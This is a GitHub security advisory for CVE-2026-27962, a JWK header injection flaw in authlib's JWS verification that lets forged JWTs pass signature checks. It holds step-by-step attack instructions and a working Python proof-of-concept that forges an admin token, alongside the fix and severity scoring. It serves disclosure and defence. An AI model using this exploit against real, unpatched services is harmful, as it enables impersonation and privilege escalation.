Skip to content

Authlib JWS JWK Header Injection: Signature Verification Bypass

Critical severity GitHub Reviewed Published Mar 15, 2026 in authlib/authlib • Updated Mar 16, 2026

Package

pip authlib (pip)

Affected versions

<= 1.6.8

Patched versions

1.6.9

Description

Description

Summary

A JWK Header Injection vulnerability in authlib's JWS implementation allows an unauthenticated
attacker to forge arbitrary JWT tokens that pass signature verification. When key=None is passed
to any JWS deserialization function, the library extracts and uses the cryptographic key embedded
in the attacker-controlled JWT jwk header field. An attacker can sign a token with their own
private key, embed the matching public key in the header, and have the server accept the forged
token as cryptographically valid — bypassing authentication and authorization entirely.

This behavior violates RFC 7515 §4.1.3 and the validation algorithm defined in RFC 7515 §5.2.

Details

Vulnerable file: authlib/jose/rfc7515/jws.py
Vulnerable method: JsonWebSignature._prepare_algorithm_key()
Lines: 272–273

elif key is None and "jwk" in header:
    key = header["jwk"]   # ← attacker-controlled key used for verification

When key=None is passed to jws.deserialize_compact(), jws.deserialize_json(), or
jws.deserialize(), the library checks the JWT header for a jwk field. If present, it extracts
that value — which is fully attacker-controlled — and uses it as the verification key.

RFC 7515 violations:

  • §4.1.3 explicitly states the jwk header parameter is "NOT RECOMMENDED" because keys
    embedded by the token submitter cannot be trusted as a verification anchor.
  • §5.2 (Validation Algorithm) specifies the verification key MUST come from the application
    context
    , not from the token itself. There is no step in the RFC that permits falling back to
    the jwk header when no application key is provided.

Why this is a library issue, not just a developer mistake:

The most common real-world trigger is a key resolver callable used for JWKS-based key lookup.
A developer writes:

def lookup_key(header, payload):
    kid = header.get("kid")
    return jwks_cache.get(kid)   # returns None when kid is unknown/rotated

jws.deserialize_compact(token, lookup_key)

When an attacker submits a token with an unknown kid, the callable legitimately returns None.
The library then silently falls through to key = header["jwk"], trusting the attacker's embedded
key. The developer never wrote key=None — the library's fallback logic introduced it. The result
looks like a verified token with no exception raised, making the substitution invisible.

Attack steps:

  1. Attacker generates an RSA or EC keypair.
  2. Attacker crafts a JWT payload with any desired claims (e.g. {"role": "admin"}).
  3. Attacker signs the JWT with their private key.
  4. Attacker embeds their public key in the JWT jwk header field.
  5. Attacker uses an unknown kid to cause the key resolver to return None.
  6. The library uses header["jwk"] for verification — signature passes.
  7. Forged claims are returned as authentic.

PoC

Tested against authlib 1.6.6 (HEAD a9e4cfee, Python 3.11).

Requirements:

pip install authlib cryptography

Exploit script:

from authlib.jose import JsonWebSignature, RSAKey
import json

jws = JsonWebSignature(["RS256"])

# Step 1: Attacker generates their own RSA keypair
attacker_private = RSAKey.generate_key(2048, is_private=True)
attacker_public_jwk = attacker_private.as_dict(is_private=False)

# Step 2: Forge a JWT with elevated privileges, embed public key in header
header = {"alg": "RS256", "jwk": attacker_public_jwk}
forged_payload = json.dumps({"sub": "attacker", "role": "admin"}).encode()
forged_token = jws.serialize_compact(header, forged_payload, attacker_private)

# Step 3: Server decodes with key=None — token is accepted
result = jws.deserialize_compact(forged_token, None)
claims = json.loads(result["payload"])
print(claims)  # {'sub': 'attacker', 'role': 'admin'}
assert claims["role"] == "admin"  # PASSES

Expected output:

{'sub': 'attacker', 'role': 'admin'}

Docker (self-contained reproduction):

sudo docker run --rm authlib-cve-poc:latest \
  python3 /workspace/pocs/poc_auth001_jws_jwk_injection.py

Impact

This is an authentication and authorization bypass vulnerability. Any application using authlib's
JWS deserialization is affected when:

  • key=None is passed directly, or
  • a key resolver callable returns None for unknown/rotated kid values (the common JWKS lookup pattern)

An unauthenticated attacker can impersonate any user or assume any privilege encoded in JWT claims
(admin roles, scopes, user IDs) without possessing any legitimate credentials or server-side keys.
The forged token is indistinguishable from a legitimate one — no exception is raised.

This is a violation of RFC 7515 §4.1.3 and §5.2. The spec is unambiguous: the jwk
header parameter is "NOT RECOMMENDED" as a key source, and the validation key MUST come from
the application context, not the token itself.

Minimal fix — remove the fallback from authlib/jose/rfc7515/jws.py:272-273:

# DELETE:
elif key is None and "jwk" in header:
    key = header["jwk"]

Recommended safe replacement — raise explicitly when no key is resolved:

if key is None:
    raise MissingKeyError("No key provided and no valid key resolvable from context.")

References

@lepture lepture published to authlib/authlib Mar 15, 2026
Published to the GitHub Advisory Database Mar 16, 2026
Reviewed Mar 16, 2026
Published by the National Vulnerability Database Mar 16, 2026
Last updated Mar 16, 2026

Severity

Critical

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

EPSS score

Weaknesses

Improper Verification of Cryptographic Signature

The product does not verify, or incorrectly verifies, the cryptographic signature for data. Learn more on MITRE.

CVE ID

CVE-2026-27962

GHSA ID

GHSA-wvwj-cvrp-7pv5

Source code

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.